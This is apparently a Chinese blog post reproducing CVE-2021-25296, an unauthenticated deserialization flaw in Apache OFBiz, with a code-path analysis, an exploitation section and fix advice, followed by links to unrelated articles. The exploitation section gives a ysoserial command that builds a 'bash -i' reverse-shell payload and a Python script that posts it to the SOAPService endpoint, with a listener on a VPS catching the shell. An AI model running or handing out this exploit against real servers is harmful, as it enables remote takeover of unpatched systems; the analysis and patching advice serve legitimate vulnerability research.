Apache OFBiz rmi反序列化漏洞

CVE-2021-25296 复现

#漏洞描述

名称:Apache OFBiz rmi反序列化漏洞

CVE编号:CVE-2021-25296

危害:未授权远程命令执行

影响版本:Apache OFBiz < 17.12.06

OFBiz是一个非常著名的电子商务平台,是一个非常著名的开源项目,提供了一整套基于Java的开发Web应用程序的组件和工具,已经正式成为 Apache 的顶级项目。

RMI 是 java 远程方法调用,它能让某个 java虚拟机上的对象调用另一个 Java虚拟机的对象的方法。值得注意的是,rmi 传输过程必然会使用序列化和反序列化,如果使用不当,很容易造成反序列化漏洞。

#漏洞分析

参考文章:Apache Ofbiz反序列化(CVE-2021-26295)分析

通过分析,触发漏洞的路由为

/webtools/control/SOAPService,SOAPService的EventHandler为SOAPEventHandler,SOAPEventHandler调用了SoapSerializer.deserialize,SoapSerializer.deserialize 又调用了 XmlSerializer.deserialize,该方法获取soap请求Body子节点后又调用了deserializeSingle解析xml,deserializeSingle中发现可以构造特殊的soap请求进入deserializeCustom()

在 deserializeCustom 方法中,如果标签为cus-obj则获取元素内容,并将其传入 getObject 方法中,getObject又调用了 getObjectException 方法

getObjectException 方法代码如下:

复制代码
public static Object getObjectException(byte[] bytes) throws ClassNotFoundException, IOException {
try(ByteArrayInputStream bis = new ByteArrayInputStream(bytes); 
	SafeObjectInputStream wois = new SafeObjectInputStream(bis)) {
	return wois.readObject();
} 
}

代码中调用了 SafeObjectInputStream 对象的 readObject 进行反序列化,我们知道 SafeObjectInputStream 是重写后的 ObjectInputStream,在 ObjectInputStream 的基础上加了黑白名单过滤,我们来分析一下漏洞修复前的 SafeObjectInputStream 代码与修复后的差距,如下图所示

className.contains 后是黑黑名单的内容,绿色表示新增,红色表示删除,可以看到,在修复前黑名单的内容只有

org.apache.commons.fileupload,还是可以通过修复后增加的 java.rmi.server 触发漏洞执行命令

#漏洞利用

使用 ysoserial 生成漏洞利用的 payload

复制代码
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar ROME  "bash -c {echo,想要执行的命令的base64编码}|{base64,-d}|{bash,-i}" | xxd|cut -f 2,3,4,5,6,7,8,9 -d " "|tr -d ' '|tr -d '\n'

因为命令执行成功也不会有回显,所以下面使用了 反弹 shell 的命令

将得到的 hex 数据赋给下面 payload 的变量 hex_data

复制代码
import requests

url = 'http://host:port' + '/webtools/control/SOAPService'

hex_data = "aced000573.......000678"

headers = {
    'Content-Type': 'text/xml'
}

data = f'''<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Body>
     <test>
        <cus-obj>{hex_data}</cus-obj>
     </test>
</soapenv:Body></soapenv:Envelope>'''

response = requests.post(url, data=data, headers=headers, verify=False, timeout=5)

if 'check your parameters' in response.text:
    print("maybe succeed")
else:
    print("maybe failed")

在 vps 上开启监听,运行脚本,成功获取shell

#修复建议

  1. 升级 ofbiz 到版本大于 17.12.06
  2. 仿造官方修复办法,添加黑名单 java.rmi.server
  3. 限制不信任用户对 RMI 服务的访问
相关推荐
文慧的科技江湖4 天前
2026年10月4日充电桩行业晚报:当“只充80%“成为通行规则,行业开始管单车占桩时长 | 慧知开源充电桩平台
开源·apache·新能源·虚拟电厂·充电桩·ocpp·v2g
nvd116 天前
# 从 192 秒到 13 秒:Apache Flink 批处理极速调优实战记录
大数据·flink·apache
众链网络7 天前
景区票务系统选型的技术尽调清单:从并发、数据到二次开发的 12 个必查项
apache·景区票务系统
AllData公司负责人8 天前
AllData数据中台物联网实时平台|集成 Apache StreamPipes,MQTT工业物联网数据实时预警实践案例
大数据·数据库·人工智能·物联网·apache·工业物联网·streampipes
白帽攻防录9 天前
SRC 挖洞:Apache Tomcat 加密拦截器绕过深度复盘,CVE-2026-34486 fail-open 一行代码怎么打穿集群通信
java·网络安全·tomcat·apache
筑梦之路9 天前
Kafka KRaft 模式 Kubernetes 部署手册(StatefulSet + apache/kafka 官方镜像)——筑梦之路
kafka·kubernetes·apache
网络豆25 天前
Apache Maven 鸿蒙 PC 适配全记录:把 JVM 构建工具交付到 HiShell
maven·apache·harmonyos
网络豆25 天前
Apache Hive 鸿蒙 PC 适配全记录:以 Qt 客户端打通 HiveQL、监控与元数据访问
hive·apache·harmonyos
网络豆25 天前
Apache HBase 鸿蒙 PC 适配全记录:用 Qt 原生客户端打通 REST 管理与数据读写
apache·hbase·harmonyos
无巧不成书02181 个月前
Apache Tomcat 9 下载全指南(Windows,Linux,macOS):版本选型、国内镜像、SHA-512 与 PGP 完整性校验
windows·tomcat·apache